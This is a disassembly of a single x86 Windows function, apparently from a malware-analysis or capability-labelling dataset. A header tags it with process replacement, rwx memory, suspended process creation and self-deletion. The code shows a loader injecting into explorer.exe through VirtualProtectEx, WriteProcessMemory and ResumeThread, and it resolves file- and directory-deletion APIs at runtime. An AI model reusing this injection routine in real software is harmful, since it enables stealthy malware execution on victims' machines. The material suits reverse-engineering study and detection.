Function at 0x402917
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Link many functions at runtime
Resume thread
Self delete
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x10
call fcn.004041e1
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x10], 0
push 8
call fcn.004041e1
add esp, 4
mov dword [ebp - 0x14], eax
mov edi, eax
mov esi, 0xbb741d
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov eax, 0xbb756e
test eax, eax
je 0x4029d1
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004041e1
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4029e2
push ebx
call fcn.004041c9
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x44
push 1
mov ebx, 0x9dc
call fcn.00405060
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x198
call fcn.00404cc0
add esp, 0x10
mov dword [ebp - 0x3c], eax
push 0x80000301
push 0
push 0x40
push 1
mov ebx, 0x1bc
call fcn.00404f20
add esp, 0x10
mov dword [ebp - 0x40], eax
push dword [ebp - 0x40]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.00401114
add esp, 8
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x402a68
push ebx
call fcn.004041c9
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x402a78
push ebx
call fcn.004041c9
add esp, 4
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402a8c
push ebx
call fcn.004041c9
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0x80000301
push 0
push 0x40
push 0x80000301
push 0
push 4
push 2
mov ebx, 0xc8
call fcn.00405140
add esp, 0x1c
mov dword [ebp - 0x38], eax
push 1
push 0xb
lea eax, [ebp - 8]
push eax
call fcn.0040381b
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], esp
push dword [ebp - 0xc]
push dword [ebp - 0x3c]
push 0
push 0
push dword [ebp - 0x38]
push 0
push 0
push 0
push str.explorer.exe
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x402b25
push 0xa0a
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x402b37
jmp 0x4037af
mov dword [ebp - 0x38], esp
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x402b60
push 0xa64
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], esp
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x402b8c
push 0xa77
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x4c], esp
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push dword [ebp - 0x44]
push dword [ebp - 0x3c]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x402bdc
push 0xa77
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x3c], ebx
call fcn.004028d0
mov dword [ebp - 0x40], ecx
mov edi, dword [ebp - 0x3c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x402c1f
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x40]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x3c]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x40]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x38]
mov dword [edi], eax
mov dword [ebp - 0x38], esp
push str.Kernel32
xor eax, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x402c78
push 0xaf1
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x38], esp
push str.WaitForSingleObject
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x402cac
push 0xb2c
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.004028d0
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp - 0x44]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x402cf2
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x48]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x44]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x48]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov dword [ebp - 0x38], esp
push str.CloseHandle
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x402d4e
push 0xb79
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.004028d0
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp - 0x44]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x402d94
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x48]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x44]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x48]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov dword [ebp - 0x38], esp
push str.DeleteFileA
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x402df0
push 0xbbe
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.004028d0
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp - 0x44]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x402e36
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x48]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x44]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x48]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov dword [ebp - 0x38], esp
push str.Sleep
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x402e92
push 0xc03
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.004028d0
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp - 0x44]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x402ed8
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x48]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x44]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x48]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov dword [ebp - 0x38], esp
push str.ExitProcess
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x402f34
push 0xc42
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.004028d0
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp - 0x44]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x402f7a
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x48]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x44]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x48]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov dword [ebp - 0x38], esp
push str.RemoveDirectoryA
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x402fd6
push 0xc87
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.004028d0
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp - 0x44]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x40301c
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x48]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x44]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x48]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov dword [ebp - 0x38], esp
push str.GetLastError
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x403078
push 0xcd1
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.004028d0
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp - 0x44]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x4030be
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x48]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x44]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x48]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov dword [ebp - 0x38], esp
push str.LoadLibraryA
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x40311a
push 0xd17
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.004028d0
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp - 0x44]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x403160
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x48]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x44]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x48]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov dword [ebp - 0x38], esp
push str.GetProcAddress
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x4031bc
push 0xd5d
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.004028d0
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp - 0x44]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x403202
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x48]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x44]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x48]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
lea eax, [ebp - 0x14]
push eax
push 4
mov eax, 2
call fcn.00404520
add esp, 8
mov eax, 1
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x3c], ebx
call fcn.004028d0
mov dword [ebp - 0x40], ecx
mov edi, dword [ebp - 0x3c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x403272
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x40]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x3c]
call fcn.004041e7
add esp, 8
mov dword [ebp - 0x14], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x40]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x38]
mov dword [edi], eax
push 0x80000301
push 0
push 0x104
push 1
mov ebx, 0x184
call fcn.00404f50
add esp, 0x10
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4032d2
push ebx
call fcn.004041c9
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], esp
push 0x104
push dword [ebp - 0x1c]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x40330c
push 0xdfe
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov dword [ebp - 0x20], eax
push 0x80000301
push 0
push dword [ebp - 0x20]
push 0x80000004
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40332c
mov eax, 0xbb7438
push eax
push 2
mov ebx, 0x134
call fcn.00405160
add esp, 0x1c
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403356
push ebx
call fcn.004041c9
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push 0xa0000301
push 0
push dword [ebp - 0x14]
push 1
mov ebx, 0x198
call fcn.00404cc0
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40338c
mov eax, 0xbb7438
push eax
push 1
mov ebx, 0x198
call fcn.00404cc0
add esp, 0x10
mov dword [ebp - 0x3c], eax
push 0xbb76ff
push dword [ebp - 0x3c]
push dword [ebp - 0x38]
mov ecx, 3
call fcn.00401114
add esp, 0xc
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4033cd
push ebx
call fcn.004041c9
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4033dd
push ebx
call fcn.004041c9
add esp, 4
mov eax, dword [ebp - 0x40]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4033f1
push ebx
call fcn.004041c9
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
mov ebx, dword [ebp - 0x38]
push dword [ebx]
call fcn.0040384e
mov dword [ebp - 0x28], eax
push 0x80000005
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x403429
mov eax, 0xbb741d
push eax
push 1
mov ebx, 0x194
call fcn.00404a00
add esp, 0x10
mov dword [ebp - 0x38], eax
fild dword [ebp - 0x28]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fild dword [ebp - 0x38]
fstp qword [ebp - 0x48]
fadd qword [ebp - 0x48]
fstp qword [ebp - 0x50]
push 0x80000601
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
push 1
mov ebx, 0x9dc
call fcn.00405060
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x198
call fcn.00404cc0
add esp, 0x10
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4034a2
push ebx
call fcn.004041c9
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
xor ecx, ecx
lea eax, [ebp - 0x30]
mov ebx, eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, 4
jg 0x40350c
mov ebx, dword [ebp - 4]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
fild dword [ebp - 0x30]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
fadd qword [0xbb7708]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
call fcn.004028f0
dec eax
pop ebx
add ebx, eax
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x2c]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 0x30]
dec eax
pop ebx
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
mov al, byte [ebx]
mov ebx, dword [ebp - 0x48]
mov byte [ebx], al
pop ebx
pop ecx
jmp 0x4034ad
add esp, 8
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x38], ebx
push 0x80000005
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x403528
mov eax, 0xbb741d
push eax
push 1
mov ebx, 0x194
call fcn.00404a00
add esp, 0x10
mov dword [ebp - 0x3c], eax
push 0x80000005
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x403551
mov eax, 0xbb741d
push eax
push 1
mov ebx, 0x194
call fcn.00404a00
add esp, 0x10
mov dword [ebp - 0x40], eax
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
fild dword [ebp - 0x40]
fstp qword [ebp - 0x50]
fadd qword [ebp - 0x50]
fstp qword [ebp - 0x58]
mov dword [ebp - 0x5c], esp
lea eax, [ebp - 0x34]
push eax
push 0x40
fld qword [ebp - 0x58]
call fcn.004028f0
push eax
push dword [ebp - 0x28]
mov ebx, dword [ebp - 0x38]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop
nop
cmp dword [ebp - 0x5c], esp
je 0x4035bf
push 0x106b
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x38], ebx
push 1
push 0xb
lea eax, [ebp - 4]
push eax
call fcn.0040381b
mov dword [ebp - 0x3c], eax
push 0x80000005
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4035eb
mov eax, 0xbb741d
push eax
push 1
mov ebx, 0x194
call fcn.00404a00
add esp, 0x10
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], esp
mov eax, 0
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x40]
push dword [ebp - 0x3c]
push dword [ebp - 0x28]
mov ebx, dword [ebp - 0x38]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x44], esp
je 0x403644
push 0x10df
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x38], ebx
push 0x80000005
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40365d
mov eax, 0xbb741d
push eax
push 1
mov ebx, 0x194
call fcn.00404a00
add esp, 0x10
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x28]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x4c]
fadd qword [ebp - 0x4c]
fstp qword [ebp - 0x54]
push 1
push 0xb
lea eax, [ebp - 0x24]
push eax
call fcn.0040381b
mov dword [ebp - 0x58], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x4036ae
mov eax, 0xbb741d
push eax
push 1
mov ebx, 0x194
call fcn.00404a00
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], esp
mov eax, 0
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x5c]
push dword [ebp - 0x58]
fld qword [ebp - 0x54]
call fcn.004028f0
push eax
mov ebx, dword [ebp - 0x38]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x60], esp
je 0x40370d
push 0x1178
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], esp
mov ebx, dword [ebp - 0x38]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x403744
push 0x119c
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], esp
mov ebx, dword [ebp - 0x38]
push dword [ebx]
xor eax, eax
call dword [0xbb78d2]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x40377b
push 0x11bf
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], esp
mov ebx, dword [ebp - 0x38]
push dword [ebx]
xor eax, eax
call dword [0xbb78d2]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x4037af
push 0x11e2
push 0x401005b
push 6
call fcn.004041cf
add esp, 0xc
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4037bf
push ebx
call fcn.004041c9
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4037cf
push ebx
call fcn.004041c9
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.004041c9
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.004041c9
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4037f7
push ebx
call fcn.004041c9
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x403807
push ebx
call fcn.004041c9
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403817
push ebx
call fcn.004041c9
add esp, 4
mov esp, ebp
pop ebp
ret